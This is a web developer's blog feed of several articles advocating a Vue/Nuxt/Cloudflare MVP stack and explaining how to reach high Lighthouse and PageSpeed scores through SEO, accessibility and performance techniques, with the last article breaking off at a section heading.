Every tech stack article makes the same mistake: they compare features on paper without building anything. "React has a larger ecosystem." "Vue is easier to learn." "Vercel has great DX." These claims mean nothing until you hit production.

We've built eight production demos with this stack. Not prototypes—fully deployed sites with real users, 90-100/100 PageSpeed scores, and $0/month hosting costs. Every choice we make comes from shipping code, not reading documentation.

This article documents our complete MVP stack: Vue over React, Nuxt over Next, Cloudflare over Vercel, and when to use Supabase versus Firebase. We'll explain the reasoning, share the war stories, and tell you when to ignore our advice.

What you'll learn:

Why we choose Vue and independent teams over corporate frameworks
The real Vercel restrictions we hit (and why we switched to Cloudflare)
Backend choices: Supabase, Firebase, and Cloudflare Workers
Why 90%+ test coverage is non-negotiable
When to break these rules

Our proof:

8 production demos at codecrank.ai
90-100/100 PageSpeed scores across all sites
$0/month hosting for everything
2-4 week delivery timelines

Let's start with the most controversial choice.

Frontend: Vue Over React

The Corporate Framework Problem

React is a Facebook framework built for Facebook's priorities. Angular is a Google framework built for Google's priorities. When Meta needs to optimize for their billion-user social network, React's roadmap reflects that—not your 2-week MVP.

Vue is different. Evan You and a small team built it independently, on their own time, because they saw what was wrong with corporate frameworks and decided to do better. That independence signals care. No shareholder demands. No corporate roadmap. Just developers building the best tool they can.

This isn't anti-corporation ideology. It's practical: independent teams optimize for developer experience because that's their only competitive advantage. Corporate frameworks optimize for internal priorities that may never align with yours.

Code Quality: Templates vs JSX

React's JSX mixes markup and logic in one file. Some developers love this. We find it harder to read and reason about—especially when debugging at 2am.

Vue's single-file components separate concerns clearly:

<template>
  <!-- HTML structure, easy to scan -->
  <div class="card">
    <h2>{{ title }}</h2>
    <p>{{ description }}</p>
  </div>
</template>

<script setup>
// Logic, isolated and testable
const props = defineProps(['title', 'description'])
</script>

<style scoped>
/* Styles, scoped to this component */
.card { padding: 1rem; }
</style>

Template, script, style. Three sections, three concerns, zero mixing. When something breaks, you know where to look.

Composition API: Hooks Done Right

Vue's Composition API learned from React Hooks' mistakes. No stale closure bugs. No dependency array footguns. No useEffect cleanup confusion.

<script setup>
import { ref, computed } from 'vue'

const count = ref(0)
const doubled = computed(() => count.value * 2)

function increment() {
  count.value++
}
</script>

Clean, predictable, debuggable. The reactivity system handles dependencies automatically—you don't manually specify what to watch.

The Market Share Argument

"But React has 40% market share and more jobs."

For MVPs, this argument fails. You're not hiring a 10-person React team. You're building fast with 1-3 developers. Vue has everything you need for 95% of MVPs. Choosing React for "future hiring" optimizes for a future that may never happen—42% of startups fail due to no market need, not framework choice.

When React wins: You need React Native for mobile, your team is already expert in React, or you need a very specific niche library that only exists in the React ecosystem.

When Vue wins: Small teams, MVPs, clean maintainable code matters, and you value independent teams over corporate frameworks.

The Vue Ecosystem: Quasar

Speaking of independent teams—Quasar deserves mention. It's a Vue component framework with 80+ production-ready components, excellent documentation, and a small team that genuinely cares about developer experience.

When we need data tables, form validation, dialogs, or complex UI patterns, Quasar has them built-in. No hunting through npm for compatible libraries. No version conflicts. One framework, everything works together.

For SaaS dashboards and data-heavy applications, we pair Quasar with Vue. For marketing sites and content-focused MVPs, we use Nuxt.

Meta-Framework: Nuxt

Nuxt 4: Batteries Included

Nuxt gives you everything without configuration:

File-based routing: Create a file, get a route. No React Router setup.
Auto-imports: Use ref() without importing it. Components auto-register.
Image optimization: <NuxtPicture> handles AVIF/WebP conversion automatically.
SEO: useHead() for meta tags, built-in sitemap generation.
Deployment: One-line adapters for Cloudflare, Vercel, Netlify, Node.

<!-- pages/about.vue -->
<template>
  <div>
    <NuxtPicture src="/team.jpg" sizes="sm:100vw md:50vw" />
    <h1>About Us</h1>
  </div>
</template>

<script setup>
useHead({
  title: 'About Us',
  meta: [{ name: 'description', content: 'Our team and mission' }]
})
</script>

That's a complete, SEO-optimized page with responsive images. No configuration files. No import statements for framework features.

SSG for MVPs

Most MVPs don't need server-side rendering on every request. Static Site Generation (SSG) pre-renders pages at build time:

Zero server costs (static files on CDN)
Instant page loads (no server round-trip)
Perfect for marketing sites, blogs, documentation
Still dynamic where needed (client-side hydration)

All eight of our demos use Nuxt SSG deployed to Cloudflare Pages. Zero hosting costs, sub-second load times.

Hosting: Cloudflare Over Vercel

The Story

We evaluated Vercel for a serverless API project. The developer experience looked great. Then we hit reality.

Restriction #1: Git Author Email

Vercel's Hobby plan requires your git commit author email to match your Vercel account email. We use privacy-focused email aliases for git commits. Vercel rejected every deploy.

The error message was cryptic. We spent an hour debugging before finding a buried forum post explaining the restriction. Workaround: change our git config globally, breaking our privacy setup, or upgrade to Pro.

Restriction #2: Zero Team Collaboration

Adding a second developer to a Hobby project? Upgrade to Pro: $20/user/month. For a two-person team, that's $480/year to collaborate on a side project.

We tried the Deploy Hook workaround—give your teammate a webhook URL to trigger deploys without account access. It worked, but felt fragile. No PR previews for them. No deploy logs. No real collaboration.

Three Hours Later

We'd spent three hours fighting restrictions on a "free" platform. That's not free—that's a trap.

The Switch to Cloudflare

Cloudflare Pages has none of these restrictions. No git author email requirements. Unlimited bandwidth (Vercel caps at 100GB/month on Hobby). Same features—preview deployments, custom domains, git integration.

The migration took 20 minutes. Connect GitHub repo, set build command (npm run generate), deploy. Every feature we needed, zero friction.

When Vercel Makes Sense

Vercel isn't bad—it's optimized for a different use case:

Next.js SSR: Vercel's edge functions are tightly integrated with Next.js server components
Already on Pro: If you're paying, the restrictions don't apply
Enterprise features: Advanced analytics, password protection, team management

For static sites, Nuxt SSG, or small teams on a budget? Cloudflare wins.

What About Netlify?

Netlify is solid. We haven't used it extensively, but the comparison favors Cloudflare for our use case: unlimited bandwidth vs 100GB, 500 builds/month vs 300 minutes, and Cloudflare's 200+ edge locations deliver better performance globally—especially in Asia, Africa, and the Middle East.

Netlify's advantage is built-in form handling without code. If you need contact forms on a static site and don't want to wire up a serverless function, Netlify makes that trivial. For everything else, Cloudflare's ecosystem (Workers, D1, R2) gives you more room to grow.

The Broader Lesson

Free tiers exist to convert you to paid tiers. Every platform makes "free" painful enough that upgrading feels worth it. Cloudflare's free tier is genuinely generous because their business model is different—they want you on their network for DNS, CDN, and eventually Workers.

Know the business model. It predicts the restrictions.

Backend: Choosing the Right Tool

Supabase: PostgreSQL + Auth + Storage + Vector Search

When to use: Relational data, user authentication, file storage, or AI-powered search.

Supabase gives you a full PostgreSQL database with:

Row-level security (authorization at the database level)
Built-in auth (email, OAuth, magic links)
Real-time subscriptions
pgvector for semantic search (critical for AI applications)
Generous free tier (500MB database, 1GB storage)

// Client-side query with auth
const { data, error } = await supabase
  .from('projects')
  .select('*')
  .eq('user_id', user.id)

The pgvector extension is a game-changer. We're currently building something with it—a recommendation engine powered by an in-house fine-tuned model. Vector similarity search against 10,000+ items, sub-second responses, all running on Supabase's free tier. More on that soon.

Best for: SaaS apps, user-generated content, complex data relationships, AI-powered recommendations.

Firebase: NoSQL + Real-time

When to use: Rapid prototyping, real-time features, mobile apps.

Firebase's Firestore excels at:

Real-time sync across devices
Offline support (critical for mobile)
Simple document/collection model
Serverless Cloud Functions (still genuinely good)

What Firebase lacks: vector search and predictable pricing. If you're building anything with embeddings or AI-powered recommendations, Firebase can't help. And Firestore's per-read/per-write billing model means you're constantly optimizing—batching operations, denormalizing data, caching aggressively—just to avoid surprise bills. PostgreSQL charges for storage and compute, not every query. For cost-conscious MVPs, that predictability matters.

// Real-time listener
onSnapshot(doc(db, 'rooms', roomId), (doc) => {
  console.log('Room updated:', doc.data())
})

Best for: Chat apps, collaborative tools, mobile-first products.

Cloudflare Workers + D1: Edge Everything

When to use: Simple APIs, global latency matters, cost-sensitive.

Workers run at the edge—200+ data centers worldwide. D1 is SQLite at the edge.

// Worker handling API request
export default {
  async fetch(request, env) {
    const data = await env.DB.prepare('SELECT * FROM items').all()
    return Response.json(data)
  }
}

Best for: URL shorteners, simple CRUD APIs, serverless functions.

Our Philosophy

Start with the simplest backend that works:

Can you avoid a backend entirely? (Static site + third-party APIs)
Can Supabase client-side handle it? (Auth + database, no custom server)
Do you need custom logic? (Add Workers or Supabase Edge Functions)

Avoid premature backend complexity. Many MVPs ship with just Supabase client-side calls.

Testing: 90%+ Coverage Non-Negotiable

Why We Don't Skip Tests

SeatGenius has a seating algorithm for concert venues—filling rows optimally based on party sizes and RSVP order, ensuring companions sit together, handling edge cases when parties don't fit neatly. Multiple seating strategies, each with different prioritization logic.

We wrote the tests first—over a million iterations to prove the algorithm handled every edge case before shipping. Result: worked on the first deploy. No production bugs. No rewrites. When we add features, the test suite catches regressions instantly.

The alternative is familiar to every developer: ship fast, then spend weeks chasing bugs that only appear in production. Fix one thing, break another. The codebase becomes something you're afraid to touch.

The Math

Without tests: Ship fast initially, then slow down as bugs compound
With tests: +20% time upfront, -40% debugging later

For a 4-week MVP:

No tests: 4 weeks to ship, 2 weeks fixing bugs = 6 weeks
With tests: 5 weeks to ship, minimal bug fixes = 5 weeks

Tests are faster. They just feel slower because the investment is upfront.

What We Test

Unit tests (Vitest): Pure functions, utilities, data transformations
Component tests: Vue components render correctly with different props
Integration tests: API calls, Pinia stores, data flows
E2E tests (Playwright): Critical user journeys, checkout flows, auth

Public Coverage Reports

Every demo has a public coverage report at coverage.[demo].codecrank.ai. We're not hiding anything. Check the numbers yourself.

The Honest Take

Every choice has trade-offs. Here's when to ignore our advice:

Use React if:

Your team is already expert in React
You need React Native for mobile
You're joining a React-heavy company

Use Vercel if:

You're building with Next.js SSR
You're already on their Pro plan
You need their enterprise features

Skip tests if:

It's a throwaway prototype (truly throwaway, not "we'll add tests later")
You're validating an idea in a weekend

We're not dogmatic. We're optimized for small teams shipping MVPs in 2-4 weeks. If that's not you, adapt accordingly.

Conclusion

Our stack isn't revolutionary. Vue, Nuxt, Cloudflare, Supabase—these are established tools. What matters is the combination and the discipline:

Vue over React: Independent teams, cleaner code, faster development
Nuxt over Next: Batteries included, SSG for free hosting
Cloudflare over Vercel: No restrictions, unlimited team, $0/month
Supabase/Firebase/Workers: Right tool for the job, not one-size-fits-all
90%+ test coverage: Slower start, faster finish

Eight demos. All 90-100/100 PageSpeed. All $0/month hosting. All delivered in 2-4 weeks.

The stack works. We've proved it. Now you know why.

Next in series: The Complete Lighthouse Guide covers SEO, accessibility, and best practices for perfect scores.

The Complete Lighthouse Guide: SEO, Accessibility & Best Practices for Perfect Scores

Daniel Tofan — Mon, 08 Dec 2025 17:01:49 +0000

Google Lighthouse scores your website on four metrics: Performance, Accessibility, Best Practices, and SEO. Most developers focus on Performance and ignore the rest. That's a mistake.

In my previous articles, I covered Performance optimization in detail—how to achieve 100/100 on PageSpeed and why professional websites often score poorly. Those techniques handle the Performance pillar.

This guide completes the picture. We'll cover the three remaining pillars: SEO, Accessibility, and Best Practices. Together with the Performance techniques from the earlier articles, you'll have everything needed to achieve 100/100 across all four metrics.

Why all four matter:

Performance affects load times and user experience
SEO determines whether Google can find and rank your site
Accessibility ensures everyone can use your site, including people with disabilities
Best Practices covers security, modern standards, and technical correctness

On every demo site I've built, SEO, Accessibility, and Best Practices score 100/100—no exceptions. Performance occasionally dips a few points on mobile (Nuxt overhead, Cloudflare scripts), but typically hits 100 as well. Seven out of eight scores are always perfect; often all eight are. This guide documents exactly how.

SEO: Making Your Site Discoverable

The Foundation Files

Before Google indexes your site, it checks two files: robots.txt and sitemap.xml. Missing these doesn't break your site, but it slows discovery significantly.

robots.txt tells crawlers which pages to index. Place it at your site root:

User-agent: *
Allow: /
Sitemap: https://yoursite.com/sitemap.xml

Common mistakes:

Using Disallow: / (blocks all crawlers—your site won't be indexed)
Forgetting the sitemap reference
Wrong file location (must be at root, not in a subfolder)

sitemap.xml maps all your pages. For small sites, write it manually:

<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <url>
    <loc>https://yoursite.com/</loc>
    <lastmod>2025-12-07</lastmod>
    <priority>1.0</priority>
  </url>
  <url>
    <loc>https://yoursite.com/about</loc>
    <priority>0.8</priority>
  </url>
</urlset>

Strategy tip: Less is more. Don't index everything. Your Terms of Service page doesn't need to rank.

Meta Tags That Matter

Search engines and social platforms read specific HTML tags. Missing these means broken-looking links when shared.

Essential tags in your <head>:

<!-- Page basics -->
<html lang="en">
<title>Your Page Title - Under 60 Characters</title>
<meta name="description" content="150-160 characters. Shows in search results.">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="canonical" href="https://yoursite.com/page-url">

<!-- Open Graph (Facebook, LinkedIn, Slack) -->
<meta property="og:title" content="Your Page Title">
<meta property="og:description" content="Same as meta description">
<meta property="og:url" content="https://yoursite.com/page-url">
<meta property="og:image" content="https://yoursite.com/og-image.jpg">
<meta property="og:image:width" content="1200">
<meta property="og:image:height" content="630">
<meta property="og:type" content="website">

<!-- Twitter/X -->
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="Your Page Title">
<meta name="twitter:image" content="https://yoursite.com/og-image.jpg">

Common mistakes:

Title over 60 characters (Google truncates with "...")
Missing OG image dimensions (Facebook won't show preview)
Forgetting the lang attribute on <html> (fails Lighthouse accessibility check)

Structured Data (JSON-LD)

Structured data tells Google what type of content you have, enabling rich results in search:

<script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "Organization",
  "name": "Your Company",
  "url": "https://yoursite.com",
  "logo": "https://yoursite.com/logo.png",
  "sameAs": [
    "https://twitter.com/yourcompany",
    "https://linkedin.com/company/yourcompany"
  ]
}
</script>

Other useful types: Person (portfolios), LocalBusiness (physical locations), Article (blog posts), FAQPage (can display directly in search results).

Testing: Use Google's Rich Results Test to validate your JSON-LD.

Cloudflare Users: Check Scrape Shield

If you're on Cloudflare, check your Scrape Shield settings. The default "Email Address Obfuscation" injects a 500ms render-blocking script into every page. I lost 8 points on multiple demos before catching this.

Fix: Security → Scrape Shield → Disable "Email Address Obfuscation"

Accessibility: Building for Everyone

Accessibility isn't charity—it's good engineering. An accessible site works better for everyone: keyboard users, screen reader users, people with slow connections, and users on mobile devices.

Semantic HTML Structure

Lighthouse checks for proper HTML landmarks. Missing these fails the accessibility audit.

Required landmarks:

<header>
  <nav><!-- Navigation here --></nav>
</header>

<main>
  <!-- All primary content MUST be inside <main> -->
  <article>
    <h1>Page Title</h1>
    <!-- Content -->
  </article>
</main>

<footer>
  <!-- Footer content -->
</footer>

The <main> element is critical. Lighthouse specifically checks for it. Screen readers use it to skip navigation and jump directly to content.

Heading Hierarchy

Use one <h1> per page. Follow logical order: h1 → h2 → h3. Never skip levels (no h1 → h3).

Why this matters: Screen reader users navigate by headings. Skipped levels confuse navigation.

Color Contrast

WCAG AA requires minimum contrast ratios:

Normal text (< 18px): 4.5:1 contrast ratio
Large text (≥ 18px or ≥ 14px bold): 3:1 contrast ratio
UI components: 3:1 contrast ratio

Links require special attention. Color alone isn't sufficient to distinguish links from surrounding text. Use underlines or other visual indicators.

Testing: Chrome DevTools → Inspect element → Accessibility tab shows contrast ratios. Or use WebAIM Contrast Checker.

Image Alt Text

Every image needs an alt attribute:

<!-- Meaningful image: describe the content -->
<img src="team-photo.jpg" alt="Team at the 2025 developer conference">

<!-- Decorative image: use empty alt (not missing) -->
<img src="decorative-line.svg" alt="">

Common mistakes:

Missing alt attributes entirely (fails audit)
Using "image of..." prefix (redundant)
Empty alt on meaningful images

Form Accessibility

Every input needs an associated label:

<!-- Correct: label linked via 'for' attribute -->
<label for="email">Email Address</label>
<input type="email" id="email" name="email">

Interactive Elements

Icon-only buttons need ARIA labels:

<!-- Icon button: needs aria-label -->
<button aria-label="Open menu">
  <svg><!-- hamburger icon --></svg>
</button>

<!-- Decorative icons: hide from screen readers -->
<span aria-hidden="true">★</span> 4.8 rating

Keyboard navigation: All interactive elements must be reachable via Tab key. Focus indicators must be visible.

Best Practices: Security and Standards

Best Practices covers security, modern web standards, and technical correctness. Most failures here are easy to fix.

HTTPS Everywhere

Serve all content over HTTPS. No mixed content (HTTP resources on HTTPS pages).

Safe External Links

External links should use rel="noopener":

<a href="https://external-site.com" target="_blank" rel="noopener">
  External Link
</a>

This prevents the external page from accessing your window.opener object—a security vulnerability.

No Console Errors

Open DevTools Console before deploying. Fix all errors. Common culprits:

Missing resources (404s)
JavaScript errors
Deprecated API warnings

Zero tolerance: Any console error can fail the Best Practices audit.

Image Aspect Ratios

Images need explicit dimensions to prevent layout shift:

<img src="photo.jpg" width="1200" height="800" alt="Description">

Modern Standards

Avoid deprecated APIs:

Use fetch() instead of XMLHttpRequest
Use addEventListener() instead of inline onclick
Never use document.write()

Icons and Favicons

The finishing touches:

Required files:

favicon.ico (32×32, legacy browsers)
favicon.svg (scalable, modern browsers)
apple-touch-icon.png (180×180, iOS)
icon-192.png and icon-512.png (Android, PWA)

HTML tags:

<link rel="icon" href="/favicon.ico" sizes="32x32">
<link rel="icon" href="/favicon.svg" type="image/svg+xml">
<link rel="apple-touch-icon" href="/apple-touch-icon.png">
<link rel="manifest" href="/manifest.json">

Tool: RealFaviconGenerator.net generates all sizes from one image.

The Complete Checklist

Performance (covered in Articles 1 & 2):

✅ Critical CSS inlining
✅ AVIF/WebP images with explicit dimensions
✅ Deferred JavaScript loading
✅ Zero layout shift

SEO:

✅ robots.txt and sitemap.xml
✅ Title, description, canonical URL
✅ Open Graph and Twitter meta tags
✅ Structured data (JSON-LD)
✅ Google Search Console verification

Accessibility:

✅ Semantic HTML landmarks (<main>, <nav>, <header>, <footer>)
✅ Proper heading hierarchy (single h1, no skipped levels)
✅ WCAG color contrast (4.5:1 for text)
✅ Alt text on all images
✅ Form labels properly associated
✅ ARIA labels for icon buttons

Best Practices:

✅ HTTPS everywhere
✅ rel="noopener" on external links
✅ Zero console errors
✅ Explicit image dimensions
✅ No deprecated APIs

The Expert Take

On every demo in my portfolio, SEO, Accessibility, and Best Practices hit 100/100. Performance usually does too, though it occasionally dips a few points on mobile due to framework overhead or CDN scripts. You can verify this yourself—click "PageSpeed Me" on any of our sites at codecrank.ai.

Time investment: First-time setup takes 4-6 hours. Once you know the patterns, subsequent sites take 1-2 hours.

Most agencies don't publish their Lighthouse scores. I put a verification button on every site I build. The work should speak for itself.

My side business DCTSoft builds custom websites for small businesses in record time, implementing all these techniques and often achieving perfect scores across the board.

This completes my PageSpeed series. For performance optimization techniques, see How to Achieve 100/100 on PageSpeed.

Why Professional Websites Score 30-50/100 on PageSpeed

Daniel Tofan — Mon, 01 Dec 2025 16:10:31 +0000

In my previous article, I explained the techniques for achieving 100/100 on PageSpeed Insights—critical CSS inlining, modern image formats, eliminating render-blocking resources, and preventing layout shift.

These techniques aren't new or secret. They're documented, proven, and freely available.

So why do most professional websites ignore them?

After examining multiple agency portfolios and client sites over the past few months, I've found a consistent pattern. This article presents real performance data, explains why this gap exists, and demonstrates what different approaches actually deliver.

What does $5,000 buy in web development?

A friend recently showed me his new medical practice website. He paid $5,000 to a professional agency, spent months in back-and-forth communication, and received a visually appealing design. Out of curiosity, I ran PageSpeed Insights.

40/100 on mobile.

The site takes 20.2 seconds to fully load on a simulated mobile connection. For context, Google recommends under 2.5 seconds.

Then I checked the agency's own website to understand their typical performance standards.

36/100. This wasn't an anomaly—it was their baseline.

This experience prompted me to examine other professional web development work. What I found wasn't unique to this one agency.

The pattern across the industry

After analyzing sites from multiple professional agencies, a consistent pattern emerged. These aren't cherry-picked examples—they represent typical output from established businesses charging professional rates.

Medical Practice #1: 28/100 (39-second load time)

A physician's website built by a local IT company offering web development services:

Performance Score: 28/100
Largest Contentful Paint: 39.1 seconds
Total Blocking Time: 1,980ms
Technology: WordPress with outdated plugins
Issues: 10 render-blocking resources, unoptimized images

Patients wait 39 seconds to see the main content. For a medical professional whose reputation depends on trust and competence, this creates an immediate credibility problem.

Professional Services: 34/100 mobile (platform limitation)

A CPA's website built on a popular website builder platform:

Mobile Score: 34/100 (what Google actually uses for rankings)
Desktop Score: 68/100 (misleadingly acceptable)
Largest Contentful Paint: 7.4 seconds on mobile
Total Blocking Time: 2,960ms (3 seconds of frozen page)
Page Weight: 6.5MB

The desktop score looks mediocre but passable. The mobile score—the one Google uses for search rankings—is catastrophic. And here's the critical insight: this platform physically cannot achieve 90+ scores. The underlying architecture loads 2MB of JavaScript regardless of what the site owner does.

Dental Practice: 64/100 with broken functionality

A dentist's website from the same IT company:

Performance Score: 64/100
First Contentful Paint: 5.5 seconds
Issues: Broken navigation links, no online booking, outdated 2015 jQuery
Six empty frames: Users see a blank screen for 5+ seconds

Beyond the performance problems, basic functionality was broken. Links to "Cosmetic Dentistry" and "Invisalign" led nowhere. This represents a website that was built and abandoned.

The mobile reality

Desktop scores often appear acceptable (60-70 range) while mobile scores are significantly worse (28-40 range). This matters because:

Google uses mobile scores for search rankings (since 2019)
70%+ of web traffic is mobile
Most agencies test on desktop development machines

A site scoring 68/100 on desktop might score 34/100 on mobile—and mobile is what determines your Google ranking.

What does poor performance actually cost?

Before examining why this happens, let's quantify the business impact.

Conversion losses

Google's research documents that 53% of mobile users abandon sites taking longer than 3 seconds to load. Their data also shows that as load time increases from 1 to 3 seconds, bounce probability increases by 32%.

For a small business with 10,000 monthly visitors:

Fast site (2 seconds): ~300 conversions/month
Slow site (8 seconds): ~210 conversions/month

That's 90 lost conversions monthly. At $100 average transaction value, that represents $108,000/year in lost revenue.

SEO compound effect

Core Web Vitals became Google ranking factors in 2021. Poor performance means lower rankings, which means less traffic, which means fewer conversions. The disadvantage compounds over time while competitors with faster sites capture the traffic you're losing.

Brand perception

A slow website signals something about attention to detail. Users form impressions about business quality based on website performance—often unconsciously. The 39-second medical site doesn't just lose the immediate conversion; it loses potential lifetime customer value.

Why does this performance gap exist?

This pattern isn't about competence. It's about business models, tooling choices, and economic incentives.

The page builder economics

Many agencies use WordPress with Divi or Elementor, or platforms like Wix and Squarespace, because it's economically efficient:

Fast to build: Templates provide professional appearance quickly
Client-editable: Clients can make content updates themselves
Familiar: Agencies already know the tools

However, these tools have inherent performance costs:

500KB+ CSS/JavaScript loaded on every page (mostly unused)
Inline styles for every element (bloats HTML significantly)
Plugin accumulation (each feature adds overhead)
Platform limitations (some tools cannot optimize beyond 70-80/100)

The result: 3-5MB page weights for sites that could be 300KB.

The testing gap

Many agencies preview sites on fast development machines where everything appears responsive. Without mobile testing using CPU throttling, without PageSpeed audits during development, performance issues only become apparent to end users.

What renders instantly on a developer's MacBook Pro often struggles on a mid-range Android phone over 4G.

A different approach

We optimize for different priorities:

Static site architecture: No WordPress overhead, no plugin complexity
Performance-first development: Optimization techniques built in from the start
Modern tooling: Automated image optimization, critical CSS extraction
Testing protocol: Mobile testing with throttling, PageSpeed audits on every build

The difference isn't magic—it's prioritizing technical fundamentals from the beginning.

The Nuxt achievement: when heavy frameworks perform

Static HTML sites can achieve perfect scores relatively easily—there's minimal JavaScript, simple CSS, fast rendering. But what about real web applications with dynamic functionality?

HomeJourney, a Kentucky first-time homebuyer education platform, demonstrates what disciplined optimization achieves with a heavier framework:

Performance Score: 100/100 desktop, 99/100 mobile
First Contentful Paint: 0.3 seconds
Largest Contentful Paint: 0.5 seconds
Total Blocking Time: 0ms
Cumulative Layout Shift: 0
Technology: Nuxt 4 + custom CSS

These numbers represent near-instantaneous loading. For context, the human eye takes approximately 0.1 seconds to blink. This site fully renders in less time than three blinks.

Why this matters

Nuxt is not a lightweight framework. It includes Vue.js, a rendering engine, routing, and significant JavaScript. Achieving sub-second performance requires intentional optimization:

Critical CSS inlining: Approximately 5KB of above-the-fold styles are embedded directly in the HTML head. The browser renders meaningful content immediately—no waiting for external stylesheet downloads.

Static site generation: Pages are pre-rendered at build time. Users receive complete HTML, not JavaScript that builds the page in the browser.

Edge deployment: Cloudflare's global network serves pages from locations physically close to users, reducing latency to milliseconds.

The result proves that framework choice doesn't determine performance—implementation discipline does. A Nuxt site can outperform a static HTML site built without optimization.

The mobile 100 reality

I want to be direct about something: achieving 100/100 on mobile with dynamic frameworks is genuinely difficult, and sometimes the last point isn't worth chasing.

Why mobile is harder

Mobile devices have slower processors and constrained network connections. JavaScript that executes in 50ms on a desktop MacBook might take 200ms on a mid-range Android phone. Every framework has some JavaScript overhead—React, Vue, Svelte, all of them.

Static HTML sites with zero JavaScript can achieve 100/100 mobile consistently. Dynamic sites with interactivity face inherent trade-offs.

What matters more than the number

HomeJourney scores 99/100 on mobile. That missing point comes from CSS required for the desktop experience—specifically, styles that prevent layout shift on larger screens. It's a deliberate trade-off: we could squeeze out one more point by removing desktop-optimized CSS, but that would degrade the experience for desktop users.

And desktop is where it matters most for this application. Consider what 100/100 delivers there:

0.3s First Contentful Paint (users see content almost instantly)
0.5s Largest Contentful Paint (main content visible in half a second)
0ms Total Blocking Time (page remains responsive throughout)
Zero layout shift (nothing jumps around)

These are desktop-focused applications where users research, read, and make decisions. The experience is near-instantaneous. Compare this to the industry examples: 34/100, 7.4-second load times, 3-second freezes. The difference in actual user experience is dramatic.

The honest answer: 96-99/100 with sub-second loading is excellent. Chasing that final point at the cost of functionality or user experience often represents diminishing returns.

How to evaluate web development quality

Here's a framework for assessing technical capability before hiring:

1. Test their own work first

Run PageSpeed Insights on the agency's own website. A developer's own site reveals their priorities clearly.

If their site scores below 70/100, that likely represents what you'll receive.

2. Request mobile scores specifically

Ask for mobile PageSpeed scores, not desktop. Desktop scores can be 30+ points higher and mask serious problems. Google uses mobile for rankings—that's the number that matters.

3. Ask about platform limitations

Some platforms cannot achieve high performance regardless of optimization effort:

Wix, Squarespace: Typically limited to 60-80/100
WordPress + heavy page builders: Often limited to 70-85/100
Custom development or lightweight frameworks: 90-100/100 achievable

Ask directly: "What performance scores do your sites typically achieve on mobile?"

4. Verify with live testing

Don't trust screenshots or claims. Run PageSpeed Insights on 3-5 live client sites from their portfolio. Look for consistency. Sites averaging below 75/100 suggest systematic issues rather than isolated cases.

5. Ask technical questions

A few specific questions reveal expertise quickly:

"How do you handle render-blocking resources?"
"What image formats do you use and why?"
"How do you prevent layout shift?"
"What causes poor mobile scores and how do you address it?"

A qualified developer will welcome these questions and provide specific answers. Vague responses or deflection suggest limited expertise in performance optimization.

The honest take

The agencies shipping 30-50/100 sites aren't incompetent—they've optimized for different outcomes. Fast delivery, easy client editing, familiar workflows. Performance simply isn't their priority.

That's a valid business decision for them. But it shouldn't be invisible to their clients.

If you're paying professional rates for web development, you deserve to know what performance you're getting. A 30-second PageSpeed test reveals more about technical quality than any portfolio page or sales call. The data is objective, free, and available to anyone.

I focus on performance because it directly affects business outcomes. Fast sites convert better, rank higher, and create better user experiences. This isn't the only valid approach—it's the approach I've chosen to specialize in.

Some businesses will prioritize performance. Some won't. For those who care, the evaluation framework above will help you find developers who share that priority.

What should you do with this information?

Test your current site: Run PageSpeed Insights (pagespeed.web.dev) on mobile. If you score below 70/100, there's significant room for improvement affecting your search rankings and conversions daily.

Verify these claims: Visit medconnect.codecrank.ai or ky.homejourney.app and test them yourself. Then test any agency portfolio site. The contrast is measurable.

Make informed decisions: Use the evaluation framework above when assessing web development options. Ask specific questions, test actual work, verify claims with data.

Performance data verified with Google Lighthouse, November 2025. Site identities anonymized.

How to Achieve 100/100 on PageSpeed Insights

Daniel Tofan — Sat, 22 Nov 2025 21:55:52 +0000

Reading time: 9 minutes

Why write about PageSpeed optimization in 2025?

PageSpeed optimization isn't new. Google released Lighthouse in 2016, and performance best practices have been documented for years. You might expect that by 2025, most professional websites would score well.

The opposite is true.

Modern websites are often slower than sites built five years ago. Despite faster networks and more powerful devices, the average website in 2025 is heavier, more complex, and performs worse than its predecessors. Why?

The complexity creep:

Modern frameworks ship more JavaScript by default
Analytics, marketing pixels, and chat widgets accumulate over time
High-resolution images and videos are now standard
Third-party integrations (payment processors, CRMs, booking systems) each add overhead
"It works on my machine" testing misses real-world mobile performance

I regularly encounter professionally built websites from 2024-2025 scoring 40-70/100. These aren't old legacy sites—they're new builds using modern tools, costing thousands of dollars, from established agencies.

Why does achieving 100/100 matter?

You might ask: "Isn't 85/100 good enough? Does the last 15 points really matter?"

The answer depends on what you're optimizing for.

The business case:

Google's research shows that 53% of mobile users abandon sites taking longer than 3 seconds to load. Each additional second of load time correlates with approximately 7% reduction in conversions. These aren't small numbers—they directly affect revenue.

For a business with 10,000 monthly visitors and a 3% conversion rate:

A fast site (2 seconds, 100/100 score): 300 conversions/month
A slow site (8 seconds, 60/100 score): Approximately 210 conversions/month

That's 90 lost conversions monthly. At $100 average transaction value, that's $108,000/year in lost revenue.

The SEO case:

Core Web Vitals became Google ranking factors in 2021. Two identical sites with identical content will rank differently based on performance. The faster site gets more organic traffic. More traffic means more conversions. The performance advantage compounds over time.

The user experience case:

Beyond metrics, there's a qualitative difference between a site that scores 85/100 and one that scores 100/100. The 100/100 site feels instant. Content appears immediately. Nothing jumps around. Users trust it more, engage more, and return more often.

The competitive advantage:

If your competitors score 60-70/100 and you score 100/100, you've created a measurable advantage in user experience, search rankings, and conversion rates. In competitive markets, these margins matter.

So yes, the last 15 points matter—not for the score itself, but for the business outcomes those points represent.

What does a perfect PageSpeed score require?

Most developers know the basics—optimize images, minify CSS, reduce JavaScript. But knowing the basics and achieving 100/100 are different things. The gap between 85/100 and 100/100 isn't about doing more of the same. It requires understanding which techniques have the most impact and implementing them correctly.

I've built multiple sites scoring 100/100/100/100 across all four metrics (Performance, Accessibility, Best Practices, SEO). In this guide, I'll explain the specific techniques that matter most, why they work, and what to watch out for.

You'll learn:

How critical CSS inlining affects render times
Why image format choice matters more than compression level
How to eliminate render-blocking resources
What causes layout shift and how to prevent it
How to test performance under real-world conditions

Before we start, a reality check: getting to 100/100 takes time the first time through—typically 4-6 hours for a complete site. Once you understand the patterns, subsequent optimizations go faster. But there's no shortcut around learning what works.

Why does critical CSS inlining improve scores?

